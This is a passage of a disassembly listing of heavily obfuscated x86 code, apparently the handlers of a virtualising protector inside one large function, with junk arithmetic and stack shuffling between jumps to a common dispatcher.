		xchg	ecx, [esp+0]
		jmp	loc_589568
; ---------------------------------------------------------------------------


loc_58A8FB:				; CODE XREF: sub_57DD3A+8FEDj
		mov	esp, [esp+92h+var_94+2]
		inc	word ptr [esp+92h+var_94+2]
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58A908:				; CODE XREF: sub_57DD3A+8269j
		add	ebx, eax
		push	edi
		mov	edi, 3C462A56h
		add	edi, 0FFFFFFFFh
		jmp	loc_58C77B
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+5Eh+var_60+2]
		push	ecx
		jmp	loc_583CAB
; ---------------------------------------------------------------------------


loc_58A925:				; CODE XREF: sub_57DD3A+9155j
		push	3D25h
		jmp	loc_588DC2
; ---------------------------------------------------------------------------


loc_58A92F:				; CODE XREF: sub_57DD3A+C497j
		push	ebx
		push	ecx
		mov	ecx, 1B03646Ah
		push	ecx
		pop	ebx
		pop	ecx
		xor	[esp+9Ch+var_98], ebx
		pop	ebx
		mov	ecx, [esp+98h+var_98]
		add	esp, 4
		xor	ecx, 1B03646Ah
		push	[esp+94h+var_94]
		jmp	loc_58B326
; ---------------------------------------------------------------------------


loc_58A952:				; CODE XREF: sub_57DD3A+E6A8j
		push	2B89h
		mov	[esp+9Ch+var_9C], ebp
		push	esp
		mov	ebp, [esp+0A0h+var_A0]
		push	ecx
		jmp	loc_587C0A
; ---------------------------------------------------------------------------


loc_58A964:				; CODE XREF: sub_57DD3A+47C9j
		add	ebp, 0D2F636F6h
		and	edi, ebp
		pop	ebp
		not	edi
		push	edx
		jmp	loc_5848CF
; ---------------------------------------------------------------------------


loc_58A975:				; CODE XREF: sub_57DD3A+98F8j
		sub	eax, ebp
		pop	ebp
		sub	eax, edx
		jmp	loc_586CC1
; ---------------------------------------------------------------------------


loc_58A97F:				; CODE XREF: sub_57DD3A+DD1Aj
		xor	[esp+0AAh+var_AC+2], ebp
		xor	ebp, [esp+0AAh+var_AC+2]
		mov	esp, [esp+0AAh+var_AC+2]
		mov	[esp+0AAh+var_AC+2], ebp
		jmp	loc_58C54A
; ---------------------------------------------------------------------------


loc_58A990:				; CODE XREF: sub_57DD3A+CAEDj
		mov	ebx, 7E2E79D5h
		add	eax, ebx
		pop	ebx
		jmp	loc_58A352
; ---------------------------------------------------------------------------


loc_58A99D:				; CODE XREF: sub_57DD3A+F744j
		pop	ebx
		add	ecx, esi
		jmp	loc_585617
; ---------------------------------------------------------------------------


loc_58A9A5:				; CODE XREF: sub_57DD3A+C0FDj
		pop	eax
		push	ebx
		jmp	loc_583AA5
; ---------------------------------------------------------------------------


loc_58A9AC:				; CODE XREF: sub_57DD3A+4EEFj
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_58C75C
; ---------------------------------------------------------------------------


loc_58A9BE:				; CODE XREF: sub_57DD3A+6BD1j
		sub	ecx, 743A7130h
		pop	edx
		jmp	loc_58C696
; ---------------------------------------------------------------------------


loc_58A9CA:				; CODE XREF: sub_57DD3A+D30Dj
		mov	esp, [esp+5Ah+var_5C+2]
		mov	dx, word ptr [esp+5Ah+var_5C+2]
		push	63F7h
		mov	[esp+5Eh+var_60+2], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+5Eh+var_60+2]
		pop	esp
		mov	[esp+5Ah+var_5C+2], ecx
		push	6E19h
		push	esp
		pop	[esp+62h+var_64+2]
		jmp	loc_58B495
; ---------------------------------------------------------------------------


loc_58A9FC:				; CODE XREF: sub_57DD3A+99FEj
		sub	eax, 33CA27E8h
		push	edx
		jmp	loc_582C4C
; ---------------------------------------------------------------------------


loc_58AA07:				; CODE XREF: sub_57DD3A+F4F8j
		push	ebx
		jmp	loc_586407
; ---------------------------------------------------------------------------


loc_58AA0D:				; CODE XREF: sub_57DD3A+FEA8j
		push	edx
		jmp	loc_58D32F
; ---------------------------------------------------------------------------


loc_58AA13:				; CODE XREF: sub_57DD3A+A5FDj
		push	229Eh
		jmp	loc_587B13
; ---------------------------------------------------------------------------


loc_58AA1D:				; CODE XREF: sub_57DD3A+AF90j
		push	ebx
		push	64F9361Fh
		pop	ebx
		shl	ebx, 7
		neg	ebx
		jmp	loc_58540A
; ---------------------------------------------------------------------------


loc_58AA2E:				; CODE XREF: sub_57DD3A+102EDj
		push	[esp+7Ch+var_7C]
		mov	edx, [esp+80h+var_80]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+80h+var_80]
		pop	esp
		jmp	loc_58BB9F
; ---------------------------------------------------------------------------


loc_58AA52:				; CODE XREF: sub_57DD3A+C04Dj
		sub	ebp, 55F44A50h
		pop	ebx
		neg	ebp
		push	6614h
		mov	[esp+72h+var_74+2], esi
		push	edx
		mov	edx, 1CF248CCh
		mov	esi, 0DC464F35h
		jmp	loc_58D342
; ---------------------------------------------------------------------------


loc_58AA73:				; CODE XREF: sub_57DD3A+552Dj
		mov	ecx, [esp+56h+var_58+2]
		jmp	loc_58A5DE
; ---------------------------------------------------------------------------


loc_58AA7B:				; CODE XREF: sub_57DD3A+605Ej
		push	1917h
		mov	[esp+6Ah+var_6C+2], edi
		push	[esp+6Ah+var_6C+2]
		mov	eax, [esp+6Eh+var_70+2]
		add	esp, 4
		add	esp, 4
		push	[esp+66h+var_68+2]
		mov	edi, [esp+6Ah+var_6C+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_589C8A
; ---------------------------------------------------------------------------


loc_58AAAC:				; CODE XREF: sub_57DD3A+7DCEj
		mov	edx, [esp+5Ch+var_5C]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_586662
; ---------------------------------------------------------------------------


loc_58AABD:				; CODE XREF: sub_57DD3A+8BA1j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58AAC2:				; CODE XREF: sub_57DD3A+BE93j
		inc	ebp
		sub	ebp, 4356194Fh
		sub	eax, 3C9808F2h
		add	eax, ebp
		add	eax, 3C9808F2h
		pop	ebp
		push	72D1h
		mov	[esp+8Ch+var_8C], edi
		mov	edi, 2
		add	eax, edi
		pop	edi
		xor	eax, [esp+88h+var_88]
		jmp	loc_58B041
; ---------------------------------------------------------------------------


loc_58AAEE:				; CODE XREF: sub_57DD3A+1017Dj
		sub	al, dl
		pop	edx
		pop	dx
		sub	al, 61h
		add	al, dh
		add	al, 61h
		sub	al, 92h
		pop	edx
		push	6BDh
		mov	[esp+82h+var_84+2], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 2
		xor	ecx, [esp+82h+var_84+2]
		xor	[esp+82h+var_84+2], ecx
		xor	ecx, [esp+82h+var_84+2]
		pop	esp
		mov	word ptr [esp+7Eh+var_80+2], cx
		mov	cl, 0Ah
		jmp	loc_582496
; ---------------------------------------------------------------------------


loc_58AB24:				; CODE XREF: sub_57DD3A+B5EBj
		mov	word ptr [esp+0C2h+var_C4+2], ax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58AB2D:				; CODE XREF: sub_57DD3A+D738j
		mov	[esp+0C2h+var_C4+2], ebx
		push	ebp
		push	2F917E3Dh
		pop	ebp
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		dec	ebx
		xchg	ebx, ebp
		jmp	loc_58C6E8
; ---------------------------------------------------------------------------


loc_58AB45:				; CODE XREF: sub_57DD3A+729Cj
		push	esp
		jmp	loc_58BAA7
; ---------------------------------------------------------------------------


loc_58AB4B:				; CODE XREF: sub_57DD3A+8889j
		push	95Dh
		jmp	loc_588607
; ---------------------------------------------------------------------------


loc_58AB55:				; CODE XREF: sub_57DD3A+53D2j
		and	eax, 49762264h
		add	eax, 96E3A57h
		add	eax, 0FED518E1h
		jmp	loc_58BC58
; ---------------------------------------------------------------------------


loc_58AB69:				; CODE XREF: sub_57DD3A+7C51j
		shl	eax, 2
		jmp	loc_585890
; ---------------------------------------------------------------------------


loc_58AB71:				; CODE XREF: sub_57DD3A+D883j
		or	edx, ebx
		pop	ebx
		sub	edx, 0DEF6F7CDh
		jmp	loc_589B6F
; ---------------------------------------------------------------------------


loc_58AB7F:				; CODE XREF: sub_57DD3A+4BB7j
		pop	ecx
		dec	ebp
		dec	ebp
		dec	ebp
		jmp	loc_582B7D
; ---------------------------------------------------------------------------


loc_58AB88:				; CODE XREF: sub_57DD3A+B9C0j
		mov	[esp+9Ch+var_9C], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_58A8C0
; ---------------------------------------------------------------------------


loc_58AB9B:				; CODE XREF: sub_57DD3A+4CD2j
		shl	esi, 2
		add	esi, 84CCF7FBh
		add	ebx, 61DD5D7Dh
		jmp	loc_58A67F
; ---------------------------------------------------------------------------


loc_58ABAF:				; CODE XREF: sub_57DD3A+8D4Cj
		sub	esp, 4
		mov	[esp+62h+var_64+2], ebx
		push	ecx
		mov	cl, ah
		mov	bl, cl
		jmp	loc_58D815
; ---------------------------------------------------------------------------


loc_58ABBF:				; CODE XREF: sub_57DD3A+5282j
		push	3A10h
		mov	[esp+78h+var_78], edx
		push	ebx
		mov	ebx, 4664165h
		push	4E6Bh
		jmp	loc_587ACE
; ---------------------------------------------------------------------------


loc_58ABD7:				; CODE XREF: sub_57DD3A+3C16j
		sub	edx, 4A8E4834h
		sub	edx, edi
		add	edx, 4A8E4834h
		pop	edi
		shl	edx, 2
		shr	edx, 1
		neg	edx
		add	edx, 0C3A32E2Bh
		sub	eax, edx
		push	[esp+4Eh+var_50+2]
		jmp	loc_583B08
; ---------------------------------------------------------------------------


loc_58ABFD:				; CODE XREF: sub_57DD3A+D39Cj
		mov	esp, [esp+52h+var_54+2]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58AC0C:				; CODE XREF: sub_57DD3A+9D9Ej
		pop	eax
		add	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 11D87463h
		add	edi, 163CF177h
		jmp	loc_58BDE9
; ---------------------------------------------------------------------------


loc_58AC21:				; CODE XREF: sub_57DD3A+3D9Ej
		mov	bh, 0DBh
		add	bh, dh
		pop	edx
		shl	bh, 7
		inc	bh
		xor	bh, 0B8h
		push	edx
		mov	dh, 0E9h
		jmp	loc_58C440
; ---------------------------------------------------------------------------


loc_58AC36:				; CODE XREF: sub_57DD3A+FBB8j
		sub	al, ch
		add	al, 9Eh
		pop	ecx
		sub	esp, 4
		mov	[esp+6Ah+var_6C+2], edx
		mov	dl, 5Bh
		shl	dl, 1
		or	dl, 98h
		neg	dl
		jmp	loc_582A88
; ---------------------------------------------------------------------------


loc_58AC4F:				; CODE XREF: sub_57DD3A+EC7Aj
		pop	ebx
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_58B351
; ---------------------------------------------------------------------------


loc_58AC5D:				; CODE XREF: sub_57DD3A+A3E6j
		mov	ebp, [esp+94h+var_94]
		add	esp, 4
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		jmp	loc_58DDDD
; ---------------------------------------------------------------------------


loc_58AC78:				; CODE XREF: sub_57DD3A+7098j
		add	ebp, 4783616Eh
		pop	ebx
		sub	eax, 57D4188Dh
		add	eax, ebp
		add	eax, 57D4188Dh
		pop	ebp
		add	eax, 604D23E7h
		add	eax, ebx
		jmp	loc_5844D9
; ---------------------------------------------------------------------------


loc_58AC98:				; CODE XREF: sub_57DD3A+8059j
		pop	edi
		xchg	ecx, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		xor	[esp+58h+var_58], eax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58ACA8:				; CODE XREF: sub_57DD3A+6D53j
		push	esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 4
		add	esi, 2A6602D2h
		add	esi, edx
		sub	esi, 2A6602D2h
		push	[esp+76h+var_78+2]
		pop	edx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_5841A2
; ---------------------------------------------------------------------------


loc_58ACD4:				; CODE XREF: sub_57DD3A+BE5Bj
		push	1B43h
		jmp	loc_5852E5
; ---------------------------------------------------------------------------


loc_58ACDE:				; CODE XREF: sub_57DD3A+DCADj
		mov	ebp, 7B28157Fh
		jmp	loc_58519C
; ---------------------------------------------------------------------------


loc_58ACE8:				; CODE XREF: sub_57DD3A+6FEFj
		inc	eax
		add	eax, 42A42A20h
		sub	edx, eax
		pop	eax
		xor	edx, 3628746Fh
		add	edx, 8701B9BCh
		or	edi, edx
		pop	edx
		not	edi
		inc	edi
		push	ecx
		jmp	loc_5874BE
; ---------------------------------------------------------------------------


loc_58AD09:				; CODE XREF: sub_57DD3A+7133j
		mov	esi, 34158CF7h
		sub	esi, edx
		mov	edx, [esp+0C0h+var_C0]
		add	esp, 4
		add	esi, 0E75DC92Fh
		and	eax, esi
		mov	esi, [esp+0BCh+var_BC]
		jmp	loc_583F8B
; ---------------------------------------------------------------------------


loc_58AD29:				; CODE XREF: sub_57DD3A+DFA0j
		add	edi, 5D4A7285h
		jmp	loc_58C96E
; ---------------------------------------------------------------------------


loc_58AD34:				; CODE XREF: sub_57DD3A+A7C1j
		add	edx, edi
		jmp	loc_585870
; ---------------------------------------------------------------------------


loc_58AD3B:				; CODE XREF: sub_57DD3A+42BDj
		push	ebx
		jmp	loc_58D470
; ---------------------------------------------------------------------------


loc_58AD41:				; CODE XREF: sub_57DD3A+7983j
		sub	esp, 4
		jmp	loc_58E018
; ---------------------------------------------------------------------------


loc_58AD49:				; CODE XREF: sub_57DD3A+63CBj
		not	ah
		sub	ah, 0BBh
		sub	bh, ah
		pop	eax
		xor	ch, bh
		pop	ebx
		inc	ch
		add	ch, 0D3h
		push	edx
		mov	dh, 1Eh
		sub	dh, 0AEh
		shr	dh, 5
		push	bx
		mov	bh, 8Fh
		or	dh, bh
		pop	bx
		xor	dh, 93h
		xor	dh, 16h
		add	al, dh
		pop	edx
		add	al, ch
		sub	al, 0Ah
		jmp	loc_589236
; ---------------------------------------------------------------------------


loc_58AD7C:				; CODE XREF: sub_57DD3A+ED9Aj
		add	eax, 67A74C10h
		push	ebp
		sub	esp, 4
		mov	[esp+88h+var_88], esp
		add	[esp+88h+var_88], 4
		mov	ebp, [esp+88h+var_88]
		add	esp, 4
		add	ebp, 4
		push	edi
		jmp	loc_58C7DD
; ---------------------------------------------------------------------------


loc_58AD9E:				; CODE XREF: sub_57DD3A+EBD9j
		pop	ebp
		jmp	loc_58A56B
; ---------------------------------------------------------------------------


loc_58ADA4:				; CODE XREF: sub_57DD3A+E28Ej
		xchg	eax, [esp+84h+var_84]
		pop	esp
		jmp	loc_58551D
; ---------------------------------------------------------------------------


loc_58ADAD:				; CODE XREF: sub_57DD3A+DF44j
		sub	ecx, 2B5A712Bh
		add	ecx, edx
		add	ecx, 2B5A712Bh
		pop	edx
		push	5434h
		mov	[esp+80h+var_80], ecx
		push	[esp+80h+var_7C]
		mov	ecx, [esp+84h+var_84]
		jmp	loc_585A93
; ---------------------------------------------------------------------------


loc_58ADD0:				; CODE XREF: sub_57DD3A+526Fj
		add	esp, 4
		xchg	ecx, [esp+78h+var_78]
		mov	esp, [esp+78h+var_78]
		jmp	loc_589D2A
; ---------------------------------------------------------------------------


loc_58ADDE:				; CODE XREF: sub_57DD3A+A69Bj
		sub	cx, 69E8h
		sub	esp, 2
		jmp	loc_585AAE
; ---------------------------------------------------------------------------


loc_58ADEE:				; CODE XREF: sub_57DD3A+42F6j
		mov	[esp+66h+var_68+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5865AB
; ---------------------------------------------------------------------------


loc_58AE04:				; CODE XREF: sub_57DD3A+F8F6j
		push	edx
		jmp	loc_585B1E
; ---------------------------------------------------------------------------


loc_58AE0A:				; CODE XREF: sub_57DD3A+D18Fj
		push	43DBh
		mov	[esp+6Eh+var_70+2], esp
		jmp	loc_58702E
; ---------------------------------------------------------------------------


loc_58AE17:				; CODE XREF: sub_57DD3A+DD60j
		push	[esp+6Eh+var_70+2]
		mov	eax, [esp+72h+var_74+2]
		push	edx
		jmp	loc_58C2B0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	[esp+74h+var_74], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58AE32:				; CODE XREF: sub_57DD3A+85A2j
		pop	edx
		xor	edx, 4C6F7818h
		push	esi
		mov	esi, edx
		jmp	loc_58A06E
; ---------------------------------------------------------------------------


loc_58AE41:				; CODE XREF: sub_57DD3A+5E20j
		not	eax
		xor	eax, 57AA1F6Dh
		jmp	loc_589246
; ---------------------------------------------------------------------------


loc_58AE4D:				; CODE XREF: sub_57DD3A+5F17j
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp+82h+var_84+2], esi
		mov	esi, 4
		add	ebp, esi
		push	[esp+82h+var_84+2]
		jmp	loc_58DBE7
; ---------------------------------------------------------------------------


loc_58AE67:				; CODE XREF: sub_57DD3A+5240j
		mov	cx, word ptr [esp+80h+var_80]
		push	edx
		push	ebx
		jmp	loc_587E44
; ---------------------------------------------------------------------------


loc_58AE72:				; CODE XREF: sub_57DD3A+75AEj
		mov	edx, 4
		push	ecx
		mov	ecx, 456A5989h
		sub	edi, 72C12901h
		sub	edi, 3DD14EEBh
		jmp	loc_58C06D
; ---------------------------------------------------------------------------


loc_58AE8E:				; CODE XREF: sub_57DD3A+FB1Bj
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58AE93:				; CODE XREF: sub_57DD3A+BC31j
		mov	[esp+7Ah+var_7C+2], eax
		mov	eax, esp
		jmp	loc_5843C1
; ---------------------------------------------------------------------------


loc_58AE9D:				; CODE XREF: sub_57DD3A+733Dj
		add	eax, edx
		mov	edx, [esp+7Ah+var_7C+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+7Eh+var_80+2]
		pop	esp
		add	eax, 4
		jmp	loc_584CA8
; ---------------------------------------------------------------------------
		push	[esp+7Ah+var_7C+2]
		pop	eax
		sub	esp, 4
		mov	[esp+7Eh+var_80+2], ebx
		jmp	loc_58AE0A
; ---------------------------------------------------------------------------


loc_58AECE:				; CODE XREF: sub_57DD3A+BAADj
		mov	ecx, [esp+86h+var_88+2]
		add	esp, 4
		mov	ecx, [esp+82h+var_84+2]
		add	esp, 4
		add	ecx, 4
		push	edx
		jmp	loc_587FE7
; ---------------------------------------------------------------------------


loc_58AEE6:				; CODE XREF: sub_57DD3A+8B4Ej
		push	[esp+5Eh+var_60+2]
		jmp	loc_583A1C
; ---------------------------------------------------------------------------
		xor	[esp+62h+var_64+2], esi
		xor	esi, [esp+62h+var_64+2]
		xor	[esp+62h+var_64+2], esi
		sub	esp, 4
		jmp	loc_589C78
; ---------------------------------------------------------------------------


loc_58AEFF:				; CODE XREF: sub_57DD3A+9A53j
		sub	edi, 218015FCh
		add	ecx, edi
		jmp	loc_585EBA
; ---------------------------------------------------------------------------


loc_58AF0C:				; CODE XREF: sub_57DD3A+8CD8j
		mov	esi, edx
		sub	esp, 4
		jmp	loc_5882E4
; ---------------------------------------------------------------------------


loc_58AF16:				; CODE XREF: sub_57DD3A+903Cj
		add	esi, 4
		xor	esi, [esp+0D4h+var_D4]
		jmp	loc_582774
; ---------------------------------------------------------------------------


loc_58AF24:				; CODE XREF: sub_57DD3A+5F43j
		xor	ch, 3Ch
		sub	dl, ch
		pop	ecx
		jmp	loc_58B4D4
; ---------------------------------------------------------------------------


loc_58AF2F:				; CODE XREF: sub_57DD3A+6D2Bj
		add	esp, 4
		jmp	loc_58218A
; ---------------------------------------------------------------------------
		xor	byte ptr [esp+90h+var_90], ah
		xor	ah, byte ptr [esp+90h+var_90]
		xor	byte ptr [esp+90h+var_90], ah
		sub	esp, 2
		mov	word ptr [esp+94h+var_94], bx
		push	edx
		jmp	loc_582DFD
; ---------------------------------------------------------------------------


loc_58AF4D:				; CODE XREF: sub_57DD3A+E0A3j
		add	esi, 4
		push	ecx
		push	edx
		mov	edx, 2
		push	edx
		sub	[esp+0A4h+var_A4], 7E5C583Dh
		mov	ecx, [esp+0A4h+var_A4]
		add	esp, 4
		add	ecx, 7E5C583Dh
		pop	edx
		push	ecx
		jmp	loc_582C2E
; ---------------------------------------------------------------------------


loc_58AF78:				; CODE XREF: sub_57DD3A+F3E8j
		mov	edi, 4
		jmp	loc_58604E
; ---------------------------------------------------------------------------


loc_58AF82:				; CODE XREF: sub_57DD3A+AAAFj
		add	esp, 4
		sub	esp, 4
		mov	[esp+0A8h+var_A8], edx
		mov	edx, 13960C8Bh
		neg	edx
		jmp	loc_58646A
; ---------------------------------------------------------------------------


loc_58AF97:				; CODE XREF: sub_57DD3A+91ABj
		xchg	eax, [esp+6Eh+var_70+2]
		jmp	loc_587C2F
; ---------------------------------------------------------------------------


loc_58AF9F:				; CODE XREF: sub_57DD3A+F0BCj
		mov	eax, [esp+6Eh+var_70+2]
		push	eax
		jmp	loc_583BA1
; ---------------------------------------------------------------------------


loc_58AFA8:				; CODE XREF: sub_57DD3A+ECACj
		add	ecx, ebx
		pop	ebx
		add	ebx, ecx
		pop	ecx
		jmp	loc_58D6BA
; ---------------------------------------------------------------------------


loc_58AFB3:				; CODE XREF: sub_57DD3A+9D5Fj
		mov	dl, 1Dh
		add	al, dl
		jmp	loc_583656
; ---------------------------------------------------------------------------


loc_58AFBC:				; CODE XREF: sub_57DD3A+88E8j
		shl	byte ptr [esp+7Ch+var_7C], cl
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58AFC5:				; CODE XREF: sub_57DD3A+9ED8j
		add	ecx, 4
		xchg	ecx, [esp+68h+var_68]
		jmp	loc_588FA2
; ---------------------------------------------------------------------------


loc_58AFD0:				; CODE XREF: sub_57DD3A+BB09j
		pop	ebx
		add	ecx, esi
		push	[esp+7Eh+var_80+2]
		pop	esi
		add	esp, 4
		push	ebp
		mov	ebp, 50376C2h
		push	eax
		mov	eax, 8B835C5h
		neg	eax
		jmp	loc_58D4F8
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+82h+var_84+2]
		push	10C7h
		mov	[esp+86h+var_88+2], ecx
		jmp	loc_58A417
; ---------------------------------------------------------------------------


loc_58B001:				; CODE XREF: sub_57DD3A+79B4j
		xor	eax, [esp+0D4h+var_D4]
		jmp	loc_586E13
; ---------------------------------------------------------------------------


loc_58B009:				; CODE XREF: sub_57DD3A+DFDBj
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B00E:				; CODE XREF: sub_57DD3A+B366j
		mov	ebp, esi
		jmp	loc_58A47C
; ---------------------------------------------------------------------------


loc_58B015:				; CODE XREF: sub_57DD3A+665Aj
		add	esp, 4
		push	586Fh
		mov	[esp+9Ch+var_9C], edx
		mov	edx, 2Ch
		add	edx, edi
		jmp	loc_58CEB2
; ---------------------------------------------------------------------------


loc_58B02F:				; CODE XREF: sub_57DD3A+6D44j
		push	878h
		mov	[esp+76h+var_78+2], ecx
		push	5094h
		jmp	loc_58694C
; ---------------------------------------------------------------------------


loc_58B041:				; CODE XREF: sub_57DD3A+CDAFj
		xor	[esp+88h+var_88], eax
		xor	eax, [esp+88h+var_88]
		jmp	loc_58A9CA
; ---------------------------------------------------------------------------


loc_58B04C:				; CODE XREF: sub_57DD3A+8EE2j
		pop	esi
		mov	edx, esi
		pop	esi
		pop	edi
		or	edx, 5EDD3124h
		dec	edx
		neg	edx
		sub	edx, 2D497DC7h
		add	eax, edx
		pop	edx
		push	ebp
		jmp	loc_58BCDF
; ---------------------------------------------------------------------------


loc_58B069:				; CODE XREF: sub_57DD3A+B7F2j
		mov	esp, [esp+5Ch+var_5C]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B071:				; CODE XREF: sub_57DD3A+767Ej
		dec	ebx
		jmp	loc_5870CF
; ---------------------------------------------------------------------------


loc_58B077:				; CODE XREF: sub_57DD3A+EE31j
		mov	al, 0ABh
		xor	bl, al
		pop	eax
		not	bl
		and	bl, 0EEh
		add	bl, 0AFh
		sub	al, bl
		pop	ebx
		sub	al, 29h
		mov	dx, word ptr [esp+0BCh+var_BC]
		push	ebx
		jmp	loc_588493
; ---------------------------------------------------------------------------


loc_58B093:				; CODE XREF: sub_57DD3A+6D18j
		push	0F255CB7h
		mov	edi, [esp+94h+var_94]
		add	esp, 4
		push	eax
		mov	eax, 523C554Eh
		xor	eax, 5F963966h
		sub	eax, 1
		xor	eax, 47140277h
		neg	eax
		add	eax, 46904041h
		xor	eax, 8D97D6E5h
		add	edi, eax
		pop	eax
		xor	edi, 1AF5396h
		push	476h
		mov	[esp+94h+var_94], esi
		jmp	loc_589102
; ---------------------------------------------------------------------------


loc_58B0D3:				; CODE XREF: sub_57DD3A+F8E5j
		pop	[esp+94h+var_94]
		jmp	loc_58ABFD
; ---------------------------------------------------------------------------


loc_58B0DB:				; CODE XREF: sub_57DD3A+E642j
		xor	edi, 5EAA5182h
		xor	edi, 71EDB086h
		add	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+90h+var_90], ebx
		push	[esp+90h+var_8C]
		pop	ebx
		pop	[esp+90h+var_90]
		jmp	loc_58CBD9
; ---------------------------------------------------------------------------


loc_58B100:				; CODE XREF: sub_57DD3A+F4BEj
		add	ebx, 4
		jmp	loc_58D71B
; ---------------------------------------------------------------------------


loc_58B108:				; CODE XREF: sub_57DD3A+7FB3j
		mov	[esp+68h+var_68], ecx
		mov	ecx, 4
		mov	esi, ecx
		jmp	loc_588EA7
; ---------------------------------------------------------------------------


loc_58B117:				; CODE XREF: sub_57DD3A+E1F8j
		pop	edx
		xor	ch, ah
		mov	ax, word ptr [esp+64h+var_64]
		add	esp, 2
		xor	al, ch
		pop	ecx
		sub	esp, 2
		mov	word ptr [esp+60h+var_60], bx
		push	small 12Ah
		mov	word ptr [esp+62h+var_64+2], ax
		push	edx
		push	ebx
		mov	bh, 1Eh
		xor	bh, 0AFh
		mov	dl, bh
		pop	ebx
		push	ebx
		mov	bl, dl
		mov	ah, bl
		pop	ebx
		pop	edx
		jmp	loc_5858E7
; ---------------------------------------------------------------------------


loc_58B14F:				; CODE XREF: sub_57DD3A+65D0j
		add	esp, 4
		push	edx
		push	[esp+98h+var_94]
		pop	edx
		pop	[esp+98h+var_98]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B164:				; CODE XREF: sub_57DD3A+C176j
		pop	edx
		sub	bh, 4
		sub	dl, bh
		pop	ebx
		and	dl, 0EFh
		push	ecx
		jmp	loc_58BDA9
; ---------------------------------------------------------------------------


loc_58B174:				; CODE XREF: sub_57DD3A+B4C0j
		shr	ebp, 3
		xor	ebp, 8F5604Ah
		add	ebx, ebp
		jmp	loc_589AB9
; ---------------------------------------------------------------------------


loc_58B184:				; CODE XREF: sub_57DD3A+8DC3j
		push	esp
		pop	[esp+76h+var_78+2]
		jmp	loc_588639
; ---------------------------------------------------------------------------


loc_58B18D:				; CODE XREF: sub_57DD3A+AB5Cj
		push	eax
		mov	eax, 70FA3BB6h
		not	eax
		shl	eax, 3
		neg	eax
		jmp	loc_58DBD4
; ---------------------------------------------------------------------------


loc_58B19F:				; CODE XREF: sub_57DD3A+FB77j
		push	ebx
		push	ecx
		mov	cl, dl
		mov	bh, cl
		mov	ecx, [esp+0A0h+var_A0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_589F16
; ---------------------------------------------------------------------------


loc_58B1BC:				; CODE XREF: sub_57DD3A+101A7j
		add	[esp+0A8h+var_A0], ebx
		jmp	loc_58B8B5
; ---------------------------------------------------------------------------


loc_58B1C5:				; CODE XREF: sub_57DD3A+B159j
		pop	edx
		add	al, bl
		jmp	loc_58273E
; ---------------------------------------------------------------------------


loc_58B1CD:				; CODE XREF: sub_57DD3A+5A66j
		dec	eax
		push	ebx
		mov	ebx, 5140565Ch
		sub	eax, ebx
		pop	ebx
		xor	eax, 34C8233Ah
		shl	eax, 2
		sub	eax, 99E0EC6Fh
		xor	ebp, eax
		pop	eax
		jmp	loc_582452
; ---------------------------------------------------------------------------


loc_58B1EC:				; CODE XREF: sub_57DD3A+A606j
		mov	[esp+52h+var_54+2], edx
		push	esp
		push	[esp+56h+var_58+2]
		pop	edx
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+52h+var_54+2]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		push	1052h
		mov	[esp+52h+var_54+2], eax
		push	esi
		jmp	loc_58581B
; ---------------------------------------------------------------------------


loc_58B21A:				; CODE XREF: sub_57DD3A+7B6Fj
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	ebx
		push	esi
		jmp	loc_5823F9
; ---------------------------------------------------------------------------


loc_58B22A:				; CODE XREF: sub_57DD3A+EA96j
		add	edx, 230B5384h
		add	edx, 12DA3138h
		mov	ebx, [esp+0E4h+var_E4]
		add	esp, 4
		add	edx, 588A7838h
		dec	edx
		jmp	loc_58B5B7
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+0DEh+var_E0+2], al
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58B25A:				; CODE XREF: sub_57DD3A+75A6j
		push	[esp+72h+var_70+2]
		pop	ecx
		pop	[esp+72h+var_74+2]
		mov	esp, [esp+6Eh+var_70+2]
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp+6Eh+var_70+2], eax
		push	1111h
		mov	[esp+72h+var_74+2], ebp
